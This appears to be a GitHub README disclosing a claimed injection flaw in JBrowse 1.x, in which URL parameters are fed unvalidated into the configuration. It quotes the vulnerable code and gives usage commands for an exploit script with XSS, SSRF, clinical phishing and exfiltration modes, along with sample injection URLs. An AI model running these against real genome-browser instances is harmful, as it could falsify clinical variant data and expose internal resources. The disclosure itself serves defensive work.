jabir-dev/CVE-2026-JBrowse-Injection

GitHub: jabir-dev/CVE-2026-JBrowse-Injection

Stars: 0 | Forks: 0

# CVE-2026-XXXXX: JBrowse Configuration Injection via URL Parameters ## Overview | Field | Value | |-------|-------| | **Product** | JBrowse | | **Vendor** | GMOD | | **Versions** | 1.0 through 1.16.11 (all 1.x versions) | | **Type** | Code Injection (CWE-94) / XSS (CWE-79) / SSRF (CWE-918) | | **CVSS 4.0** | 8.6 High | | **Impact** | XSS / SSRF / Data Exfiltration / Clinical Data Manipulation | | **bio.tools** | https://bio.tools/jbrowse | ## Vulnerability JBrowse accepts multiple URL query parameters and passes them directly to `JSON.parse()` without any validation or sanitization: // src/JBrowse/main.js:85-106 if (queryParams.addFeatures) { config.stores.url.features = JSON.parse(queryParams.addFeatures) // NO VALIDATION } if (queryParams.addTracks) { config.tracks = JSON.parse(queryParams.addTracks) // NO VALIDATION } if (queryParams.addBookmarks) { config.bookmarks.features = JSON.parse(queryParams.addBookmarks) // NO VALIDATION } if (queryParams.addStores) { config.stores = JSON.parse(queryParams.addStores) // NO VALIDATION } Combined with CORS wildcard in `.htaccess`: Header onsuccess set Access-Control-Allow-Origin * ## Impact ### 1. Cross-Site Scripting (XSS) Inject HTML/JavaScript via track names, feature attributes, or bookmarks. ### 2. Server-Side Request Forgery (SSRF) Configure stores to fetch internal resources (AWS metadata, internal APIs). ### 3. Clinical Data Manipulation Inject fake pathogenic variants into clinical genomics JBrowse instances, potentially leading to incorrect patient diagnoses. ### 4. Data Exfiltration Redirect data fetches to attacker-controlled servers. ## Usage # Check if target is vulnerable python3 exploit.py --target http://jbrowse.example.com --mode check # Generate XSS payloads python3 exploit.py --target http://jbrowse.example.com --mode xss # Generate SSRF payloads python3 exploit.py --target http://jbrowse.example.com --mode ssrf # Clinical data phishing python3 exploit.py --target http://jbrowse.example.com --mode phish # Data exfiltration python3 exploit.py --target http://jbrowse.example.com --mode exfil ### Quick Manual Test Open in browser: http://jbrowse.example.com/?data=sample_data/json/volvox&addTracks=[{"label":"test","key":"","type":"FeatureTrack","store":"url"}] ## Root Cause 1. **No input validation** on `addFeatures`, `addTracks`, `addStores`, `addBookmarks` URL params 2. **CORS wildcard** (`Access-Control-Allow-Origin: *`) allows cross-origin exploitation 3. **No CSP headers** to prevent inline script execution 4. **No authentication** on any JBrowse functionality ## Confirmed Test Results ### Test 1: Data Injection - **URL**: `?addFeatures=[{"seq_id":"ctgA","start":1000,"end":5000,"name":"INJECTED_FAKE_VARIANT","type":"mRNA"}]` - **Result**: Fake mRNA feature rendered with full DNA sequence in browser - **Status**: **CONFIRMED** ### Test 2: XSS via Feature Name - **URL**: `?addFeatures=[{"seq_id":"ctgA","start":2000,"end":4000,"name":"","type":"mRNA"}]` - **Result**: JavaScript alert() popup executed when clicking on feature - **Status**: **CONFIRMED** ## Disclaimer For **authorized security testing** and **educational purposes** only. ## License MIT